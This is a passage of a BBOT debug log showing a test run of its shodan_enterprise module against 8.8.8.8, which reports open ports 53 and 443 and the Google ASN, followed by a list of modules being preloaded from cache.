bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-01 16:56:02,739 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-03-01 16:56:02,740 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-01 16:56:02,740 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-01 16:56:02,740 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-01 16:56:02,740 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-01 16:56:02,741 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-01 16:56:02,741 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-01 16:56:02,741 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-01 16:56:02,741 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-01 16:56:02,741 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-01 16:56:02,741 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-01 16:56:02,741 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-01 16:56:02,742 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-01 16:56:02,742 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-01 16:56:02,742 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-01 16:56:02,742 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-01 16:56:02,742 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-01 16:56:02,742 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-01 16:56:02,743 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-01 16:56:02,743 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-01 16:56:02,743 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-01 16:56:02,743 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-01 16:56:02,743 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-01 16:56:02,744 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-01 16:56:02,744 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-01 16:56:02,744 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-01 16:56:02,744 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-01 16:56:02,744 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-01 16:56:02,745 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-01 16:56:02,745 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-01 16:56:02,745 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-01 16:56:02,745 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-01 16:56:02,745 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-01 16:56:02,746 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-03-01 16:56:02,746 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-01 16:56:02,746 [DEBUG] bbot base.py:111 Starting scan +2026-03-01 16:56:02,900 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_d1ax47ghlt +2026-03-01 16:56:02,900 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-03-01 16:56:03,016 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-03-01 16:56:03,017 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-01 16:56:03,017 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-01 16:56:03,019 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-03-01 16:56:03,119 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check +2026-03-01 16:56:03,119 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-03-01 16:56:03,121 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target +2026-03-01 16:56:03,122 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-01 16:56:03,123 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:56:03,124 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:56:03,125 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-03-01 16:56:03,125 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-01 16:56:03,127 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:56:03,128 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:56:03,129 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:56:03,130 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:56:03,131 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:56:03,132 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:56:03,133 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-01 16:56:03,137 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-01 16:56:03,137 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-03-01 16:56:03,137 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-01 16:56:03,138 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-01 16:56:03,139 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded +2026-03-01 16:56:03,139 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded +2026-03-01 16:56:03,140 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET +2026-03-01 16:56:03,140 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-03-01 16:56:03,140 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-01 16:56:03,235 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-01 16:56:03,236 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-01 16:56:03,237 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:0c245e6eff649a673a2fb0b657944fdd4ef7cdaa', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:56:03,238 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET +2026-03-01 16:56:03,239 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-03-01 16:56:03,239 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:03,239 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:03,240 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:56:03,241 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:03,241 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:56:03,241 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:56:03,243 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:03,243 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:03,243 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:56:03,244 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:03,244 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:03,245 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:03,245 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:56:03,245 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:56:03,246 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:56:03,247 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:03,247 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:03,248 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:03,248 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:03,249 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:03,249 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:03,250 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:03,250 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:56:03,251 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:03,251 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:56:03,252 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:56:03,252 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:56:03,252 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:03,253 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:03,253 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:03,254 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:03,254 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:56:03,254 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-03-01 16:56:03,255 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:03,255 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:03,256 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:03,256 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:03,257 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:56:03,257 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:03,257 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:03,258 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:03,258 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:56:03,340 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:56:03,342 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:03,342 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-03-01 16:56:03,343 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:56:03,343 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:56:03,344 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:03,344 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:56:03,344 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:03,345 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-01 16:56:03,346 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-01 16:56:03,346 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-01 16:56:03,347 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-01 16:56:03,347 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-03-01 16:56:03,347 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-01 16:56:03,348 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-01 16:56:03,348 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-01 16:56:03,449 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-01 16:56:03,450 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-03-01 16:56:03,469 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-01 16:56:03,469 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-01 16:56:03,470 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-01 16:56:03,477 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-01 16:56:03,477 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-03-01 16:56:03,478 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-01 16:56:03,479 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-03-01 16:56:03,480 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-03-01 16:56:03,481 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-03-01 16:56:03,596 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_d1ax47ghlt completed in 0 seconds with status FINISHED +2026-03-01 16:56:03,597 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-01 16:56:03,598 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:56:21,074 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-03-01 16:56:21,084 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-01 16:56:21,084 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-01 16:56:21,085 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-01 16:56:21,086 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-01 16:56:21,087 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-01 16:56:21,088 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-01 16:56:21,088 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-01 16:56:21,089 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-01 16:56:21,090 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-01 16:56:21,091 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-01 16:56:21,091 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-01 16:56:21,095 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-01 16:56:21,096 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-01 16:56:21,097 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-01 16:56:21,098 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-01 16:56:21,099 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-01 16:56:21,099 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-01 16:56:21,100 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-01 16:56:21,101 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-01 16:56:21,101 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-01 16:56:21,102 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-01 16:56:21,103 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-01 16:56:21,103 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-01 16:56:21,104 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-01 16:56:21,105 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-01 16:56:21,105 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-01 16:56:21,106 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-01 16:56:21,107 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-01 16:56:21,107 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-01 16:56:21,108 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-01 16:56:21,108 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-01 16:56:21,109 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-01 16:56:21,110 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-01 16:56:21,111 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-01 16:56:21,111 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-01 16:56:21,112 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-01 16:56:21,113 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-01 16:56:21,118 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-01 16:56:21,119 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-01 16:56:21,120 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-01 16:56:21,120 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-01 16:56:21,121 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-01 16:56:21,122 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-01 16:56:21,123 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-01 16:56:21,124 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-01 16:56:21,124 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-01 16:56:21,125 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-01 16:56:21,127 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-01 16:56:21,127 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-01 16:56:21,128 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-01 16:56:21,129 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-01 16:56:21,130 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-01 16:56:21,130 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-01 16:56:21,131 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-01 16:56:21,132 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-01 16:56:21,132 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-01 16:56:21,133 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-01 16:56:21,133 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-01 16:56:21,134 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-01 16:56:21,135 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-01 16:56:21,135 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-01 16:56:21,136 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-01 16:56:21,137 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-01 16:56:21,137 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-01 16:56:21,139 